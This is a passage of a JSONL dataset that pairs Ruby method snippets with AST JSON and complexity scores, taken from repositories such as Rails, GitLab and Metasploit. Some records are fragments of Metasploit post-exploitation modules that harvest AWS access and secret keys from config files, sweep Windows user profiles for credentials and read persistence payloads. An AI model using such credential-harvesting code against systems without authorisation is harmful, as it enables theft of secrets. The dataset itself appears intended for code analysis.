\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]}]},{\"type\":\"str\",\"children\":[\"('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"example\"]}]},{\"type\":\"str\",\"children\":[\"') for timekey \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timekey\"]},\"to_i\"]}]}]}]},null]}]}]}","id":"ef7e8a1e-1030-4f5c-81af-dfde7dfcd7e5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/aws_keys.rb","start_line":42,"raw_source":"def get_aws_keys(config_file)\n    keys_data = []\n    unless readable? config_file\n      vprint_error(\"Couldn't read #{config_file}\")\n      return []\n    end\n    config_s = read_file(config_file)\n    return keys_data if config_s.empty?\n\n    aws_config = Rex::Parser::Ini.from_s(config_s)\n    aws_config.each_key do |profile|\n      # XXX: Ini assumes anything on either side of the = is the key and value\n      # including spaces, so we need to fix this\n      profile_config = Hash[aws_config[profile].map { |k, v| [ k.strip, v.strip ] }]\n      aws_access_key_id = nil\n      aws_secret_access_key = nil\n      profile_config.each_pair do |key, value|\n        if key == AWS_KEY.downcase || key == S3_KEY\n          aws_access_key_id = value\n        end\n\n        if key == AWS_SECRET.downcase || key == S3_SECRET\n          aws_secret_access_key = value\n        end\n      end\n      next unless aws_access_key_id || aws_secret_access_key\n\n      keys_data << [ config_file, aws_access_key_id, aws_secret_access_key, profile ]\n    end\n\n    keys_data\n  end","complexity_score":48.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_aws_keys\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config_file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"keys_data\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"readable?\",{\"type\":\"lvar\",\"children\":[\"config_file\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Couldn't read \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_file\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"config_s\",{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"lvar\",\"children\":[\"config_file\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_s\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys_data\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"aws_config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Parser\"]},\"Ini\"]},\"from_s\",{\"type\":\"lvar\",\"children\":[\"config_s\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aws_config\"]},\"each_key\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"profile\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"profile_config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aws_config\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"profile\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"strip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"strip\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"aws_access_key_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"aws_secret_access_key\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profile_config\"]},\"each_pair\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AWS_KEY\"]},\"downcase\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"S3_KEY\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"aws_access_key_id\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AWS_SECRET\"]},\"downcase\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"S3_SECRET\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"aws_secret_access_key\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aws_access_key_id\"]},{\"type\":\"lvar\",\"children\":[\"aws_secret_access_key\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys_data\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_file\"]},{\"type\":\"lvar\",\"children\":[\"aws_access_key_id\"]},{\"type\":\"lvar\",\"children\":[\"aws_secret_access_key\"]},{\"type\":\"lvar\",\"children\":[\"profile\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"keys_data\"]}]}]}","id":"2f0a3b96-d1f7-4c85-86cc-78101dc276f5"}
{"repo_name":"forem","file_path":"./repos/forem/app/queries/consumer_apps/rpush_app_query.rb","start_line":3,"raw_source":"def self.call(app_bundle:, platform:)\n      new(app_bundle: app_bundle, platform: platform).call\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"app_bundle\"]},{\"type\":\"kwarg\",\"children\":[\"platform\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_bundle\"]},{\"type\":\"lvar\",\"children\":[\"app_bundle\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"lvar\",\"children\":[\"platform\"]}]}]}]},\"call\"]}]}","id":"c3025510-12a0-4414-a6d4-9f421cb8ad8e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/ie.rb","start_line":66,"raw_source":"def run\n    print_status('Filtering based on these selections:  ')\n    print_status(\"ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}\")\n    print_status(\"STORE_LOOT: #{datastore['STORE_LOOT']}\")\n    print_status(\"EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\\n\")\n\n    # used to grab files for each user on the remote host\n    grab_user_profiles.each do |userprofile|\n      run_packrat(userprofile, ARTIFACTS)\n    end\n\n    print_status 'PackRat credential sweep completed'\n  end","complexity_score":18.7,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Filtering based on these selections:  \"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ARTIFACTS: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ARTIFACTS\"]}]},\"capitalize\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"STORE_LOOT: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STORE_LOOT\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"EXTRACT_DATA: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EXTRACT_DATA\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"grab_user_profiles\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"userprofile\"]}]},{\"type\":\"send\",\"children\":[null,\"run_packrat\",{\"type\":\"lvar\",\"children\":[\"userprofile\"]},{\"type\":\"const\",\"children\":[null,\"ARTIFACTS\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"PackRat credential sweep completed\"]}]}]}]}","id":"5e2f3dac-25f2-4c15-a098-ec3a3479a453"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/attributes_finder.rb","start_line":52,"raw_source":"def resolve_preloads(model_key, model_tree)\n        model_tree\n          .map { |submodel_key, submodel_tree| resolve_preload(model_key, submodel_key, submodel_tree) }\n          .tap { |entries| entries.compact! }\n          .to_h\n          .deep_merge(@preloads[model_key].to_h)\n          .presence\n      end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_preloads\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_key\"]},{\"type\":\"arg\",\"children\":[\"model_tree\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_tree\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"submodel_key\"]},{\"type\":\"arg\",\"children\":[\"submodel_tree\"]}]},{\"type\":\"send\",\"children\":[null,\"resolve_preload\",{\"type\":\"lvar\",\"children\":[\"model_key\"]},{\"type\":\"lvar\",\"children\":[\"submodel_key\"]},{\"type\":\"lvar\",\"children\":[\"submodel_tree\"]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entries\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entries\"]},\"compact!\"]}]},\"to_h\"]},\"deep_merge\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@preloads\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"model_key\"]}]},\"to_h\"]}]},\"presence\"]}]}","id":"b02d6539-7a2c-473b-b1a4-f759a3edb692"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/encryption/encrypted_fixtures.rb","start_line":14,"raw_source":"def encrypt_fixture_data(fixture, model_class)\n          model_class&.encrypted_attributes&.each do |attribute_name|\n            if clean_value = fixture[attribute_name.to_s]\n              @clean_values[attribute_name.to_s] = clean_value\n\n              type = model_class.type_for_attribute(attribute_name)\n              encrypted_value = type.serialize(clean_value)\n              fixture[attribute_name.to_s] = encrypted_value\n            end\n          end\n        end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"encrypt_fixture_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fixture\"]},{\"type\":\"arg\",\"children\":[\"model_class\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_class\"]},\"encrypted_attributes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"clean_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fixture\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute_name\"]},\"to_s\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@clean_values\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute_name\"]},\"to_s\"]},{\"type\":\"lvar\",\"children\":[\"clean_value\"]}]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_class\"]},\"type_for_attribute\",{\"type\":\"lvar\",\"children\":[\"attribute_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"encrypted_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"serialize\",{\"type\":\"lvar\",\"children\":[\"clean_value\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fixture\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute_name\"]},\"to_s\"]},{\"type\":\"lvar\",\"children\":[\"encrypted_value\"]}]}]},null]}]}]}","id":"642fd08a-7693-4cfb-813f-3166a9b03707"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/mergeability/check_lfs_file_locks_service.rb","start_line":15,"raw_source":"def execute\n        return inactive if check_inactive?\n        return failure if contains_locked_lfs_files?\n\n        success\n      end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_inactive?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inactive\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"contains_locked_lfs_files?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failure\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"success\"]}]}]}","id":"a9e21c5b-74a2-44e2-a321-a4f95d7ac363"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/callbacks_test.rb","start_line":716,"raw_source":"def around(caller)\n      caller.record << \"around before\"\n      yield\n      caller.record << \"around after\"\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"around\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"caller\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"caller\"]},\"record\"]},\"<<\",{\"type\":\"str\",\"children\":[\"around before\"]}]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"caller\"]},\"record\"]},\"<<\",{\"type\":\"str\",\"children\":[\"around after\"]}]}]}]}","id":"76417614-b31b-41e7-a650-9e7ac92b7ca6"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/analytics/analytics_session.rb","start_line":55,"raw_source":"def should_show_message?\n      return false if FastlaneCore::Env.truthy?(\"FASTLANE_OPT_OUT_USAGE\")\n\n      file_name = \".did_show_opt_info\"\n      new_path = File.join(FastlaneCore.fastlane_user_dir, file_name)\n      return false if File.exist?(new_path)\n\n      File.write(new_path, '1')\n      true\n    end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"should_show_message?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Env\"]},\"truthy?\",{\"type\":\"str\",\"children\":[\"FASTLANE_OPT_OUT_USAGE\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"file_name\",{\"type\":\"str\",\"children\":[\".did_show_opt_info\"]}]},{\"type\":\"lvasgn\",\"children\":[\"new_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"fastlane_user_dir\"]},{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"new_path\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"new_path\"]},{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"4f774d9d-f8c5-4294-9635-075c2fb947d5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb","start_line":151,"raw_source":"def marker\n    @marker ||= rand_text_alphanumeric(rand(42) + 1)\n  end","complexity_score":5.35,"ast_json":"{\"type\":\"def\",\"children\":[\"marker\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@marker\"]},{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[42]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"96a959a5-82ed-4ad8-b365-999ab0b44c62"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240304195852_create_partitions_for_p_ci_build_names.rb","start_line":6,"raw_source":"def up\n    connection.execute(<<~SQL)\n      LOCK TABLE p_ci_builds IN SHARE ROW EXCLUSIVE MODE;\n      LOCK TABLE ONLY p_ci_build_names IN ACCESS EXCLUSIVE MODE;\n\n      CREATE TABLE IF NOT EXISTS gitlab_partitions_dynamic.ci_build_names_100\n        PARTITION OF p_ci_build_names\n        FOR VALUES IN (100);\n\n      CREATE TABLE IF NOT EXISTS gitlab_partitions_dynamic.ci_build_names_101\n        PARTITION OF p_ci_build_names\n        FOR VALUES IN (101);\n    SQL\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"LOCK TABLE p_ci_builds IN SHARE ROW EXCLUSIVE MODE;\\n\"]},{\"type\":\"str\",\"children\":[\"LOCK TABLE ONLY p_ci_build_names IN ACCESS EXCLUSIVE MODE;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"CREATE TABLE IF NOT EXISTS gitlab_partitions_dynamic.ci_build_names_100\\n\"]},{\"type\":\"str\",\"children\":[\"  PARTITION OF p_ci_build_names\\n\"]},{\"type\":\"str\",\"children\":[\"  FOR VALUES IN (100);\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"CREATE TABLE IF NOT EXISTS gitlab_partitions_dynamic.ci_build_names_101\\n\"]},{\"type\":\"str\",\"children\":[\"  PARTITION OF p_ci_build_names\\n\"]},{\"type\":\"str\",\"children\":[\"  FOR VALUES IN (101);\\n\"]}]}]}]}","id":"055d56c5-c6a5-4f91-b579-a3a05644f9ea"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/dev/detect_dead_reference_links.rb","start_line":31,"raw_source":"def initialize(urls_with_paths, log_level: Logger::INFO)\n    @urls_with_paths = urls_with_paths\n    @results = []\n    @checked_urls = load_checked_urls\n    @url_times = []\n    @logger = Logger.new($stdout)\n    @logger.level = log_level\n    @total_urls = urls_with_paths.size\n    @processed_urls = 0\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"urls_with_paths\"]},{\"type\":\"kwoptarg\",\"children\":[\"log_level\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Logger\"]},\"INFO\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@urls_with_paths\",{\"type\":\"lvar\",\"children\":[\"urls_with_paths\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@results\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@checked_urls\",{\"type\":\"send\",\"children\":[null,\"load_checked_urls\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@url_times\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Logger\"]},\"new\",{\"type\":\"gvar\",\"children\":[\"$stdout\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"level=\",{\"type\":\"lvar\",\"children\":[\"log_level\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@total_urls\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"urls_with_paths\"]},\"size\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@processed_urls\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"1b413449-cb10-47ff-8256-ad0a1c1dcd3f"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/length_validation_test.rb","start_line":59,"raw_source":"def test_optionally_validates_length_of_using_minimum\n    Topic.validates_length_of :title, minimum: 5, allow_nil: true\n\n    t = Topic.new(\"title\" => \"valid\", \"content\" => \"whatever\")\n    assert_predicate t, :valid?\n\n    t.title = nil\n    assert_predicate t, :valid?\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_optionally_validates_length_of_using_minimum\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_length_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minimum\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_nil\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"valid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"whatever\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"title=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]}]}]}","id":"5cf742e5-ba16-4294-a5c0-9bd935f9fc4d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/persistence_exe.rb","start_line":239,"raw_source":"def create_payload_from_file(exec)\n    print_status(\"Reading Payload from file #{exec}\")\n    File.binread(exec)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_payload_from_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exec\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Reading Payload from file \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exec\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"binread\",{\"type\":\"lvar\",\"children\":[\"exec\"]}]}]}]}","id":"9fc9362f-2c24-4a5d-9e2f-0f5a27c2b8c0"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/visits/find_within_bounding_box.rb","start_line":14,"raw_source":"def call\n      Visit\n        .includes(:place)\n        .where(user:)\n        .joins(:place)\n        .where(\n          'ST_Contains(ST_MakeEnvelope(?, ?, ?, ?, 4326), ST_SetSRID(places.lonlat::geometry, 4326))',\n          sw_lng,\n          sw_lat,\n          ne_lng,\n          ne_lat\n        )\n        .order(started_at: :desc)\n    end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Visit\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"place\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]},\"joins\",{\"type\":\"sym\",\"children\":[\"place\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"ST_Contains(ST_MakeEnvelope(?, ?, ?, ?, 4326), ST_SetSRID(places.lonlat::geometry, 4326))\"]},{\"type\":\"send\",\"children\":[null,\"sw_lng\"]},{\"type\":\"send\",\"children\":[null,\"sw_lat\"]},{\"type\":\"send\",\"children\":[null,\"ne_lng\"]},{\"type\":\"send\",\"children\":[null,\"ne_lat\"]}]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"started_at\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]}]}","id":"5f2609af-3673-4aa9-ae34-c5062dce4693"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/highlight.rb","start_line":16,"raw_source":"def initialize(blob_name, blob_content, language: nil)\n      @formatter = Rouge::Formatters::HTMLGitlab\n      @language = language\n      @blob_name = blob_name\n      @blob_content = blob_content\n      @gitlab_highlight_usage_counter = Gitlab::Metrics.counter(\n        :gitlab_highlight_usage,\n        'The number of times Gitlab::Highlight is used'\n      )\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"blob_name\"]},{\"type\":\"arg\",\"children\":[\"blob_content\"]},{\"type\":\"kwoptarg\",\"children\":[\"language\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@formatter\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rouge\"]},\"Formatters\"]},\"HTMLGitlab\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@language\",{\"type\":\"lvar\",\"children\":[\"language\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@blob_name\",{\"type\":\"lvar\",\"children\":[\"blob_name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@blob_content\",{\"type\":\"lvar\",\"children\":[\"blob_content\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@gitlab_highlight_usage_counter\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"counter\",{\"type\":\"sym\",\"children\":[\"gitlab_highlight_usage\"